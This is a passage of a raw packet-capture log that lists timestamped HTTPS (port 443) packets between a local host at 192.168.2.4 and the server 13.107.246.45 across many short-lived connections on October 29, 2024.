Oct 29, 2024 20:38:09.087069988 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.087085962 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.089270115 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.089345932 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.089452028 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.089665890 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.089665890 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.089705944 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.089730024 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.092499018 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.092535973 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.092691898 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.092807055 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.092819929 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.093506098 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.096668005 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.096677065 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.097183943 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.097193956 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.109927893 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.109951973 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.110013008 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.110027075 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.110057116 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.110882044 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.110907078 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.110923052 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.110929012 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.113977909 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.114021063 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.114124060 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.114311934 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.114325047 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.212414980 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.212476969 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.212584972 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.212615967 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.212702036 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.212830067 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.212861061 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.212887049 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.212903976 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.216183901 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.216242075 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.216409922 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.216566086 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.216599941 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.222155094 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.222598076 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.222613096 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.223174095 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.223179102 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.224642038 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.224659920 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.224749088 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.224760056 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.224812984 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.224921942 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.224921942 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.224953890 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.224971056 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.224978924 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.231591940 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.231641054 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.231828928 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.231987000 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.232000113 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.353588104 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.353671074 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.354013920 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.354125023 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.354159117 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.354172945 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.354178905 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.357817888 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.357883930 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.357969999 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.358158112 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.358196974 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.839090109 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.839699984 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.839715958 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.840271950 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.840277910 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.885704041 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.886413097 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.886444092 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.886965990 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.886981010 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.957093000 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.957808018 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.957876921 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.958444118 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.958452940 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.976321936 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.976478100 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.976552963 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.976661921 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.976686001 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.976699114 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.976706982 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.982042074 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.982088089 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.982152939 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.982538939 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.982552052 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.003130913 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.004139900 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.004167080 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.004611015 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.004618883 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.016180992 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.016262054 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.016369104 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.016511917 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.016534090 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.019607067 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.019639969 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.019716978 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.019967079 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.019983053 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.086224079 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.086523056 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.086589098 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.086649895 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.086673975 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.086684942 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.086690903 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.090235949 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.090280056 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.090392113 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.090708971 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.090730906 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.109114885 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.120639086 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.120711088 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.121119022 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.121141911 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.155611992 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.155683041 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.155747890 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.156027079 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.156044960 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.156075954 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.156081915 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.158813953 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.158865929 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.159141064 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.159342051 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.159364939 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.272559881 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.272643089 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.272960901 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.272960901 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.273437977 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.273473024 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.275774956 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.275815010 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.276114941 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.276114941 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.276144028 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.740756035 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.741401911 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.741427898 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.741889954 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.741895914 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.760672092 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.761646032 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.761646032 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.761662960 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.761677980 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.859208107 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.859875917 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.859889984 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.860379934 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.860384941 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.872033119 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.872198105 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.872472048 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.872472048 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.872517109 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.872535944 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.875693083 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.875735998 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.876039982 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.876039982 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.876075029 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.891258001 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.891547918 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.891691923 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.891691923 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.891729116 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.891748905 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.894618034 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.894663095 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.894915104 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.894915104 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.894948006 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.901427984 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.902096033 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.902120113 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.902462006 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.902468920 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.996793032 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.996958017 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:10.997246981 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.997246981 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.997288942 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:10.997309923 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.000335932 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.000384092 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.000543118 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.000633955 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.000644922 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.008074045 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.008611917 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.008622885 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.009030104 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.009038925 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.034667969 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.034739971 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.035056114 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.035056114 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.035415888 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.035438061 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.038014889 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.038044930 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.038316011 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.038316011 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.038336992 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.157536030 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.157567978 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.157623053 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.157702923 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.157995939 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.157995939 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.158026934 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.158056974 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.161676884 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.161730051 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.161839008 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.161969900 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.161986113 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.648139000 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.648801088 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.648832083 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.649729013 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.649746895 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.650939941 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.652111053 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.652132988 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.652534962 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.652542114 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.762061119 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.762747049 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.762758017 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.763257027 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.763262033 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.778085947 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.778536081 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.778556108 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.779334068 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.779341936 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.782324076 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.782399893 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.782638073 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.782638073 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.782731056 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.782746077 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.783406973 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.783432961 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.783483028 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.783492088 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.783526897 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.783652067 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.783668041 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.783679962 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.783684969 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.786537886 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.786564112 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.786722898 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.786962032 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.786977053 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.787921906 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.787964106 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.788187981 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.788309097 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.788321018 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.891796112 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.891870975 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.892154932 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.892211914 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.892224073 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.892239094 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.892241955 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.895998955 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.896040916 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.896150112 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.896328926 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.896348953 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.911994934 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.912168980 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.912319899 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.912354946 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.912354946 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.912385941 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.912395954 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.913957119 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.914374113 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.914454937 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.915005922 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.915019989 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.915157080 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.915173054 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:11.915251017 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.915366888 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:11.915374041 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.047446966 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.047655106 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.047857046 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.047930956 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.047930956 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.047976971 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.048001051 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.050910950 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.050971031 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.051120996 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.051307917 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.051359892 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.553764105 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.554492950 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.554527998 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.555179119 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.555191994 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.572627068 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.573227882 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.573268890 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.573661089 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.573668957 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.647824049 CET	443	49855	13.107.246.45	192.168.2.4
